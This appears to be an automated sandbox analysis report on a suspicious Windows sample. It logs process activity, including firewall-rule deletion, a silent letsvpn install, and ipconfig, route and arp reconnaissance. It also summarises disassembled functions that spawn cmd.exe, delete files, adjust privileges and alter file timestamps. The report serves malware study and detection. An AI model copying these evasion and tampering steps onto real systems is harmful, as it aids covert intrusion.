Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:13:56
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=lets
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:13:56
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=lets.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:13:56
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:13:56
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=lets.exe
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=LetsPRO.exe
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=LetsPRO
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Imagebase:	0x7ff78e4d0000
File size:	101'536 bytes
MD5 hash:	1E3CF83B17891AEE98C3E30012F0B034
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:13:57
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:14:03
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\LetsPRO.exe"
Imagebase:	0xc50000
File size:	247'272 bytes
MD5 hash:	8FC872149F0B8D2FB3D75C4076C0A8CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:14:03
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Imagebase:	0xb80000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	10:14:08
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	10:14:08
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:14:09
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WmiApSrv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\WmiApSrv.exe
Imagebase:	0x7ff6c1e30000
File size:	209'920 bytes
MD5 hash:	9A48D32D7DBA794A40BF030DA500603B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	10:14:10
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	10:14:11
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C ipconfig /all
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	10:14:11
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	10:14:11
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x70000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	10:14:11
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C route print
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	10:14:11
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	10:14:11
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ROUTE.EXE
Wow64 process (32bit):	true
Commandline:	route print
Imagebase:	0x270000
File size:	19'456 bytes
MD5 hash:	C563191ED28A926BCFDB1071374575F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	10:14:12
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C arp -a
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	10:14:12
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	10:14:12
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ARP.EXE
Wow64 process (32bit):	true
Commandline:	arp -a
Imagebase:	0x8c0000
File size:	22'528 bytes
MD5 hash:	4D3943EDBC9C7E18DC3469A21B30B3CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	10:14:18
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Imagebase:	0x6a0000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	10:14:19
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
Imagebase:	0x380000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	10:14:26
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Imagebase:	0xd70000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	10:14:27
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
Imagebase:	0x5a0000
File size:	1'471'464 bytes
MD5 hash:	D664FB656FC05BE54EA49950688BE980
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.7%
Total number of Nodes:	1275
Total number of Limit Nodes:	31

Executed Functions

Function 00000001800060F0 Relevance: 49.9, APIs: 16, Strings: 12, Instructions: 919
sleeplibraryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001800050C0: ExitProcess.KERNEL32 ref: 00000001800050D5

LoadLibraryW.KERNEL32 ref: 0000000180006748
GetProcAddress.KERNEL32 ref: 000000018000677F
ShellExecuteW.SHELL32 ref: 00000001800067B9
LoadLibraryW.KERNEL32 ref: 0000000180006806
GetProcAddress.KERNEL32 ref: 0000000180006834
Sleep.KERNEL32 ref: 0000000180006842
DeleteFileW.KERNELBASE ref: 000000018000685F
CreateDirectoryW.KERNEL32 ref: 0000000180006953

Part of subcall function 00000001800075B4: wsprintfW.USER32 ref: 0000000180007645
Part of subcall function 00000001800075B4: SHGetSpecialFolderPathW.SHELL32 ref: 00000001800076BE
Part of subcall function 00000001800075B4: lstrcatW.KERNEL32 ref: 00000001800076D2
Part of subcall function 00000001800075B4: lstrcatW.KERNEL32 ref: 00000001800076E6
Part of subcall function 00000001800075B4: lstrcatW.KERNEL32 ref: 00000001800076FA

Sleep.KERNEL32 ref: 0000000180006A57

Part of subcall function 0000000180004F20: SHGetPathFromIDListW.SHELL32 ref: 0000000180004F70

Part of subcall function 00000001800015C0: Concurrency::cancel_current_task.LIBCPMT ref: 0000000180001983

Sleep.KERNEL32 ref: 0000000180006F35
ShellExecuteW.SHELL32 ref: 0000000180006F9C
Sleep.KERNEL32 ref: 0000000180006FA3

Part of subcall function 00000001800015C0: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800017CB

Part of subcall function 00000001800044D4: CoInitialize.OLE32 ref: 0000000180004529
Part of subcall function 00000001800044D4: CoImpersonateClient.OLE32 ref: 000000018000452F
Part of subcall function 00000001800044D4: CoInitializeSecurity.OLE32 ref: 000000018000455F
Part of subcall function 00000001800044D4: CLSIDFromProgID.OLE32 ref: 00000001800045CC
Part of subcall function 00000001800044D4: CoCreateInstance.OLE32 ref: 0000000180004637
Part of subcall function 00000001800044D4: VariantInit.OLEAUT32 ref: 0000000180004649

Sleep.KERNEL32 ref: 00000001800070E5

Part of subcall function 00000001800044D4: VariantInit.OLEAUT32 ref: 00000001800047B0

DeleteFileW.KERNEL32 ref: 0000000180007222
DeleteFileW.KERNEL32 ref: 000000018000723F
DeleteFileW.KERNEL32 ref: 000000018000725C

Strings

cute, xrefs: 0000000180006762
1.0., xrefs: 0000000180006339
Dele, xrefs: 000000018000680C
~m8, xrefs: 00000001800069B8
.0.0, xrefs: 0000000180006417
tic , xrefs: 00000001800063DC
lExe, xrefs: 0000000180006758
sta, xrefs: 00000001800063D2
Shel, xrefs: 000000018000674E
255, xrefs: 000000018000640D
teFi, xrefs: 0000000180006816
leW, xrefs: 0000000180006820

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Sleep$DeleteFile$lstrcat$AddressConcurrency::cancel_current_taskCreateExecuteFromInitInitializeLibraryLoadPathProcShellVariant$ClientDirectoryExitFolderImpersonateInstanceListProcessProgSecuritySpecialwsprintf
String ID: 255$ sta$.0.0$1.0.$Dele$Shel$cute$lExe$leW$teFi$tic $~m8
API String ID: 64473743-3965089300
Opcode ID: c5613de24d5e8b30adffa1bfd11ef46f5ebe4553ad626ab9be222fd2b97acba5
Instruction ID: 93e7219765b4098160b17cdbd0ffc818ee925a0a63cda95fe73cbc28c76b516e
Opcode Fuzzy Hash: c5613de24d5e8b30adffa1bfd11ef46f5ebe4553ad626ab9be222fd2b97acba5
Instruction Fuzzy Hash: 3CA22772611BC99AEB72DF30CC943DD3761F789789F809216A65D4AAAADF74C748C300

Function 00000001800075B4 Relevance: 37.2, APIs: 16, Strings: 5, Instructions: 476
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 0000000180007645
SHGetSpecialFolderPathW.SHELL32 ref: 00000001800076BE
lstrcatW.KERNEL32 ref: 00000001800076D2
lstrcatW.KERNEL32 ref: 00000001800076E6
lstrcatW.KERNEL32 ref: 00000001800076FA
PathFileExistsW.SHLWAPI ref: 0000000180007D0D
CreateFileW.KERNEL32 ref: 0000000180007D41
CloseHandle.KERNEL32 ref: 0000000180007D50
CreateFileW.KERNEL32 ref: 0000000180007D76
WideCharToMultiByte.KERNEL32 ref: 0000000180007DA8
WideCharToMultiByte.KERNEL32 ref: 0000000180007DDC
WriteFile.KERNEL32 ref: 0000000180007E0A
CloseHandle.KERNEL32 ref: 0000000180007E1B
ShellExecuteExW.SHELL32 ref: 0000000180007E9A
Sleep.KERNEL32 ref: 0000000180007EA5
DeleteFileW.KERNEL32 ref: 0000000180007EB2

Strings

/F , xrefs: 0000000180007AAC
/v , xrefs: 00000001800078BC, 00000001800078CB
/d 0, xrefs: 0000000180007A95
/t , xrefs: 0000000180007A6A
@, xrefs: 0000000180007E57

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$lstrcat$ByteCharCloseCreateHandleMultiPathWide$DeleteExecuteExistsFolderShellSleepSpecialWritewsprintf
String ID: /F $ /d 0$ /t $ /v $@
API String ID: 3711553769-2086274384
Opcode ID: 12f081db107600aca863fd5eedb377e52b91212f907b5ac2a20ff6aee5caee70
Instruction ID: 75460cc7f8188bfe70f9382e5ea4320dbf3380ae5ff90c39ed7a51b27fd80bd2
Opcode Fuzzy Hash: 12f081db107600aca863fd5eedb377e52b91212f907b5ac2a20ff6aee5caee70
Instruction Fuzzy Hash: 83325972211AC59EEB62DF20D8583DE37A1F74978DF408215EA4D4BAAADF78C748C740

Function 00000001800044D4 Relevance: 21.4, APIs: 14, Instructions: 393
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 0000000180004529
CoImpersonateClient.OLE32 ref: 000000018000452F
CoInitializeSecurity.OLE32 ref: 000000018000455F
CLSIDFromProgID.OLE32 ref: 00000001800045CC
CoCreateInstance.OLE32 ref: 0000000180004637
VariantInit.OLEAUT32 ref: 0000000180004649
VariantInit.OLEAUT32 ref: 00000001800047B0
VariantInit.OLEAUT32 ref: 00000001800048B0
SysAllocString.OLEAUT32 ref: 00000001800048D9
SysAllocString.OLEAUT32 ref: 00000001800048F4
SysAllocString.OLEAUT32 ref: 000000018000490F
SysAllocString.OLEAUT32 ref: 0000000180004929
VariantClear.OLEAUT32 ref: 00000001800049F9
CoUninitialize.OLE32 ref: 0000000180004A2B

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AllocStringVariant$Init$Initialize$ClearClientCreateFromImpersonateInstanceProgSecurityUninitialize
String ID:
API String ID: 3828289656-0
Opcode ID: 801fc1caafe7431574914c1754201faff8d9288c3aba837a6459ff06f367ac15
Instruction ID: 573105a49c2d2260488410611db7ac98c86a9a74392cf804f56a218917ca58b0
Opcode Fuzzy Hash: 801fc1caafe7431574914c1754201faff8d9288c3aba837a6459ff06f367ac15
Instruction Fuzzy Hash: C2027A73610B4885EB42DB65D8943DE3760FB8DBD5F408226EA4D1BBA9DF38C689C344

Function 0000000180017B6C Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000000180017B9B
DuplicateHandle.KERNEL32 ref: 0000000180017BED
CloseHandle.KERNEL32 ref: 0000000180017E13
CloseHandle.KERNEL32 ref: 0000000180017E40
CloseHandle.KERNEL32 ref: 0000000180017E73

Strings

/c , xrefs: 0000000180017CED, 0000000180017D4D
cmd.exe, xrefs: 0000000180017C6D
COMSPEC, xrefs: 0000000180017C39

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Handle$Close$CurrentDuplicateProcess
String ID: /c $COMSPEC$cmd.exe
API String ID: 507262174-3246030452
Opcode ID: 38c44b063460f86156b3e52b7242ab1d82e4023583937fe14ee7208c7443c1b9
Instruction ID: f10c92297a71cabee2056d3bc7fdb9886e5f025a7042322172889677fb9f36bb
Opcode Fuzzy Hash: 38c44b063460f86156b3e52b7242ab1d82e4023583937fe14ee7208c7443c1b9
Instruction Fuzzy Hash: EF91C132301B4886EB96DB25A4513EE33E1B74CBE8F508615FE5E07B96DF38C6598340

Function 0000000180004BFC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000000180004C1D
OpenProcessToken.ADVAPI32 ref: 0000000180004C2F
LookupPrivilegeValueW.ADVAPI32 ref: 0000000180004C4A
AdjustTokenPrivileges.ADVAPI32 ref: 0000000180004C8A
GetLastError.KERNEL32 ref: 0000000180004C94

Part of subcall function 0000000180018E10: _invalid_parameter_noinfo.LIBCMT ref: 0000000180018E34

Sleep.KERNEL32 ref: 0000000180004CC6
CloseHandle.KERNEL32 ref: 0000000180004CD0

Strings

SeShutdownPrivilege, xrefs: 0000000180004C43

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesSleepValue_invalid_parameter_noinfo
String ID: SeShutdownPrivilege
API String ID: 1465265181-3733053543
Opcode ID: a02a20d3ef106207377cf5f22d2c318ef8aa63367dcebb3dcf84bf07a87de06f
Instruction ID: 714bade276c5b322c4beae15e526fd74d3d41e7a40324bd374856c1e015a790a
Opcode Fuzzy Hash: a02a20d3ef106207377cf5f22d2c318ef8aa63367dcebb3dcf84bf07a87de06f
Instruction Fuzzy Hash: C6219272B10A088AF792CBB1D8553EE33B0B74C79DF008126DE0A5A698CF38C28DC704

Function 0000000180023430 Relevance: 10.8, APIs: 7, Instructions: 286
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180023862

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1ff4ca5376e79e2f0226cf16d9ae6b534f9b7ebb015540c369264cd4a1b664f2
Instruction ID: 552021de668f097bd5bf1f44fce14493afff49fbc9d57b10b79a5ff25d345989
Opcode Fuzzy Hash: 1ff4ca5376e79e2f0226cf16d9ae6b534f9b7ebb015540c369264cd4a1b664f2
Instruction Fuzzy Hash: 91C1DF72204B8CA6EBE39B55944A3EE67A5F788BC4F45C105FA4A077D1CFB8C65C8700

Function 00000001800073BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00000001800073DA
GlobalMemoryStatusEx.KERNEL32 ref: 00000001800073F4

Strings

@, xrefs: 00000001800073EC

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: GlobalInfoMemoryStatusSystem
String ID: @
API String ID: 248183744-2766056989
Opcode ID: 84e926ca72d46586985b568352741ec882d40f0f462808b4096a246755bcb75a
Instruction ID: e6d19e41b513e3daed8fca7d46ad1fc86713ce1a4f3c4f7869d0d113d1a15d8e
Opcode Fuzzy Hash: 84e926ca72d46586985b568352741ec882d40f0f462808b4096a246755bcb75a
Instruction Fuzzy Hash: 8EF0823271468487EBA2DB20F4563AAB360F7CD794F804116EB8E41A95CF7CC24DCB00

Function 000000018000A870 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 259
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 000000018000AAC0
wsprintfW.USER32 ref: 000000018000AAE0
CreateFileW.KERNEL32 ref: 000000018000AB21
WriteFile.KERNEL32 ref: 000000018000ABA2
SetFileTime.KERNEL32 ref: 000000018000ABDD
CloseHandle.KERNEL32 ref: 000000018000ABF2

Strings

%s%s%s, xrefs: 000000018000AAB2
%s%s, xrefs: 000000018000AAD2

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$wsprintf$CloseCreateHandleTimeWrite
String ID: %s%s$%s%s%s
API String ID: 1593831391-1506711308
Opcode ID: d4f33ccd2a038503880be557cbc0f422a7c8262e8462d13f395053426f004821
Instruction ID: 2686955042cfdf0216405c2fddede1ffb79212d64e9dcbe5beb1ad0312999838
Opcode Fuzzy Hash: d4f33ccd2a038503880be557cbc0f422a7c8262e8462d13f395053426f004821
Instruction Fuzzy Hash: 95B18C322086898AFBA6DB25D5503EA33A0F34EBD4F50C126EB59476D5DF34CB5AC301

Function 000000018002D2F8 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000018002D028: _invalid_parameter_noinfo.LIBCMT ref: 000000018002D069
Part of subcall function 000000018002D028: _invalid_parameter_noinfo.LIBCMT ref: 000000018002D0E9
Part of subcall function 000000018002D028: _invalid_parameter_noinfo.LIBCMT ref: 000000018002D13D
Part of subcall function 000000018002D028: _get_daylight.LIBCMT ref: 000000018002D195

CreateFileW.KERNEL32 ref: 000000018002D3FE
